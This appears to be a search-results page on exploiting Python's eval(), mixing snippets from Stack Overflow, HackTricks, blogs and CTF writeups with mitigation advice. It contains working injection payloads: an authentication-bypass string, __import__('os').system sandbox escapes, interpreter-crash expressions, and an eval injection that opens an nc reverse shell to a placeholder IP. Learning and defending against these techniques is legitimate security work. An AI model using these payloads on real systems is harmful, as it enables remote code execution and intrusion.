Thank you so much for the help with bypassing the password field by using

' or True or '

Another way is:

1==1'or'2

Main thing is that the statement had to evaluate to always being True.

As for the reverse shell, was pretty easy, especially when I found out that there's no bash on the server So this is what was needed:

'+__import__("os").popen("nc IP PORT -e sh").read()+'

Thank you all for the help!

Answer from TeSteR on Stack Overflow
🌐
Netsec
netsec.expert › posts › breaking-python3-eval-protections
Breaking Python 3 eval protections – Sam's Hacking Wonderland
January 16, 2021 - The exact one-liner seems to break every so often between Python versions, but the technique is solid and you should be able to find your own variants on your own if you grasp how I arrived at these. Single statement to bypass the cleared __builtins__ global and arbitrarily run os.system calls:
🌐
Floyd
floyd.ch
Exploiting Python’s Eval | floyd's
python module evalidate (pip3 install evalidate) solves this problem. It parses untrusted user code into Abstract Syntax Tree (AST) and checks each node. Code is evaluated then only if it consist only of safe nodes.
Top answer
1 of 7
37

I'm going to mention one of the new features of Python 3.6 - f-strings.

They can evaluate expressions,

>>> eval('f"{().__class__.__base__}"', {'__builtins__': None}, {})
"<class 'object'>"

but the attribute access won't be detected by Python's tokenizer:

0,0-0,0:            ENCODING       'utf-8'        
1,0-1,1:            ERRORTOKEN     "'"            
1,1-1,27:           STRING         'f"{().__class__.__base__}"'
2,0-2,0:            ENDMARKER      '' 
2 of 7
24

It is possible to construct a return value from eval that would throw an exception outside eval if you tried to print, log, repr, anything:

eval('''((lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))
        (lambda f: lambda n: (1,(1,(1,(1,f(n-1))))) if n else 1)(300))''')

This creates a nested tuple of form (1,(1,(1,(1...; that value cannot be printed (on Python 3), stred or repred; all attempts to debug it would lead to

RuntimeError: maximum recursion depth exceeded while getting the repr of a tuple

pprint and saferepr fails too:

...
  File "/usr/lib/python3.4/pprint.py", line 390, in _safe_repr
    orepr, oreadable, orecur = _safe_repr(o, context, maxlevels, level)
  File "/usr/lib/python3.4/pprint.py", line 340, in _safe_repr
    if issubclass(typ, dict) and r is dict.__repr__:
RuntimeError: maximum recursion depth exceeded while calling a Python object

Thus there is no safe built-in function to stringify this: the following helper could be of use:

def excsafe_repr(obj):
    try:
        return repr(obj)
    except:
        return object.__repr__(obj).replace('>', ' [exception raised]>')

And then there is the problem that print in Python 2 does not actually use str/repr, so you do not have any safety due to lack of recursion checks. That is, take the return value of the lambda monster above, and you cannot str, repr it, but ordinary print (not print_function!) prints it nicely. However, you can exploit this to generate a SIGSEGV on Python 2 if you know it will be printed using the print statement:

print eval('(lambda i: [i for i in ((i, 1) for j in range(1000000))][-1])(1)')

crashes Python 2 with SIGSEGV. This is WONTFIX in the bug tracker. Thus never use print-the-statement if you want to be safe. from __future__ import print_function!


This is not a crash, but

eval('(1,' * 100 + ')' * 100)

when run, outputs

s_push: parser stack overflow
Traceback (most recent call last):
  File "yyy.py", line 1, in <module>
    eval('(1,' * 100 + ')' * 100)
MemoryError

The MemoryError can be caught, is a subclass of Exception. The parser has some really conservative limits to avoid crashes from stackoverflows (pun intended). However, s_push: parser stack overflow is output to stderr by C code, and cannot be suppressed.


And just yesterday I asked why doesn't Python 3.4 be fixed for a crash from,

% python3  
Python 3.4.3 (default, Mar 26 2015, 22:03:40) 
[GCC 4.9.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> class A:
...     def f(self):
...         nonlocal __x
... 
[4]    19173 segmentation fault (core dumped)  python3

and Serhiy Storchaka's answer confirmed that Python core devs do not consider SIGSEGV on seemingly well-formed code a security issue:

Only security fixes are accepted for 3.4.

Thus it can be concluded that it can never be considered safe to execute any code from 3rd party in Python, sanitized or not.

And Nick Coghlan then added:

And as some additional background as to why segmentation faults provoked by Python code aren't currently considered a security bug: since CPython doesn't include a security sandbox, we're already relying entirely on the OS to provide process isolation. That OS level security boundary isn't affected by whether the code is running "normally", or in a modified state following a deliberately triggered segmentation fault.

🌐
HackTricks
hacktricks.boitatech.com.br › misc › basic-python › bypass-python-sandboxes
Bypass Python sandboxes | HackTricks - Boitatech
This package is called Reverse.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave. This is really interesting if some characters are forbidden because you can use the hex/octal/B64 representation to bypass the restriction: ... exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("
🌐
Medium
medium.com › swlh › hacking-python-applications-5d4cd541b3f1
Hacking Python Applications. And how attackers exploit common… | by Vickie Li | The Startup | Medium
November 15, 2019 - Dangerous functions in Python like eval(), exec() and input() can be used to achieve authentication bypass and even code injection.
🌐
Blogger
vipulchaskar.blogspot.com › 2012 › 10 › exploiting-eval-function-in-python.html
Vipul Chaskar's Blog: Exploiting eval() function in Python
October 23, 2012 - The above string can now be passed to the eval function. One more way, use the literal_eval from the module "ast". ast.literal_eval is a much more secure way to evaluate python strings than the generic eval() function.
🌐
Exploit Notes
exploit-notes.hdks.org › exploit › linux › privilege-escalation › python-eval-code-execution
Python Eval Code Execution - Exploit Notes
April 11, 2023 - Privilege Escalation (PrivEsc) is the act of exploiting a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. Once you have root privileges on Linux, you ...
Find elsewhere
🌐
JFrog
jfrog.com › blog home › 23andme’s yamale python code injection, and properly sanitizing eval()
23andMe's Yamale Python code injection, and properly sanitizing eval()
September 1, 2022 - If possible, we highly recommend using ast.literal_eval instead of eval. literal_eval can only handle simple expressions, but should be sufficient for a lot of simple use cases, without exposing the code to any vulnerabilities. As mentioned, an attacker needs to be able to specify the contents of the schema file in order to inject Python code.
🌐
GitHub
github.com › b4rdia › HackTricks › blob › master › generic-methodologies-and-resources › python › bypass-python-sandboxes › README.md
HackTricks/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md at master · b4rdia/HackTricks
{% endhint %} {% hint style="warning" ... {% endhint %} If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction: exec("print('RCE'); __import__('os').system('ls')") #Using ";" ...
Author   b4rdia
🌐
GitHub
github.com › mache102 › puso › issues › 12
New eval/exec/compile + import bypass · Issue #12 · mache102/puso
On line 121 in puso.py, you can change the line if 'eval(' in line or 'exec(' in line or 'compile(' in line: to if 'eval' in line or 'exec' in line or 'compile' in line: to avoid this. This is because you are searching for the function call, rather than the name. ... encrypt = lambda s: ''.join(chr((ord(c) + 3 - 32) % 95 + 32) if ' ' <= c <= '~' else c for c in s) encrypted = encrypt("__import__('os').system('dir')") print(f"bypassed = getattr(__builtins__, 'eval'); decrypt = lambda s: bypassed(''.join(chr((ord(c) - 3 - 32) % 95 + 32) if ' ' <= c <= '~' else c for c in s)); decrypt('{encrypted}');print;")
Author   mache102
🌐
Medium
medium.com › @nikomanousos123 › exploiting-pythons-eval-function-69f8fc4074a1
Exploiting Python’s Eval Function | by Niko | Medium
July 7, 2025 - We need to use a lower level implementation of import, which is __import__. Why? Because eval is designed to evaluate a single expression. __import__ has the same functionality as import, but has more flexibility in its usage. We can chain multiple python statements together as a singular string because eval is a little picky.
🌐
Medium
medium.com › @debasissadhu712 › picoctf-3v-l-writeup-exploiting-python-eval-for-rce-bypassing-regex-ce85f1dc8c1e
picoCTF 3v@l Writeup: Exploiting Python eval() for RCE (Bypassing Regex) | by Debashish Sadhu | Medium
December 11, 2025 - As we showed, if you block words, hackers will just use numbers (ASCII) to bypass the filter. Source Code Matters: Always check the HTML source code. The developer’s comments gave us the exact roadmap we needed to build our exploit. Prevention: To fix this, the developer should use safer alternatives like ast.literal_eval() in Python, or strictly validate input to ensure it only contains numbers before processing.
🌐
Stack Exchange
security.stackexchange.com › questions › 275766 › how-to-bypass-ascii-letters-and-run-the-code-in-eval
python - How to bypass ascii_letters and run the code in eval - Information Security Stack Exchange
February 26, 2024 - if request.method == 'POST': exp = request.form['Expression'] for i in exp: if i in ascii_letters: return render_template('index.html', exp='', result="Only [0-9] and special characters") try: result = eval(exp) except Exception as e: result = 'Something went wrong' return render_template('index.html', exp=exp, result=result) else: return render_template('index.html', exp='', result='')
🌐
HackTricks
hacktricks.wiki › home › generic methodologies and resources › python › bypass python sandboxes
Bypass Python sandboxes - HackTricks
5 days ago - ... If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction: exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" ...
🌐
VK9 Security
vk9-sec.com › exploiting-python-eval-code-injection
Exploiting Python EVAL() Code Injection | VK9 Security
python3 eval_test.py · __import__(‘os’).system(‘date’) 3. You can then exploit further to get a reverse shell, escalate privileges, or read/write important files · Most of the time, we need to bypass another expression to execute our desired command.
🌐
Gitbook
morgan-bin-bash.gitbook.io › linux-privilege-escalation › python-eval-code-execution
Python Eval Code Execution | Linux Privilege Escalation
Python's eval() method is vulnerable to arbitrary code execution. ... If the Python script allows us to input some value to the "text" variable, we can inject arbitrary code. Most of the time, we need to bypass another expression to execute our desired command.
🌐
YouTube
youtube.com › watch
Python Eval Function Exploitation | TryHackMe Devie - YouTube
In this video walk-through, we covered a scenario that demonstrates python exploitation through Eval function. Additionally we covered an example of XOR encr...
Published   April 5, 2023
🌐
Cyber Security News
cybersecuritynews.com › home › cyber security news › hackers can exploit (eval) or (exec) python calls to execute malicious code
Hackers Can Exploit (eval) or (exec) Python Calls to Execute Malicious Code
August 25, 2025 - A sophisticated obfuscation technique that threat actors are using to bypass detection systems and exploit Python's eval() and exec() functions for malicious code execution.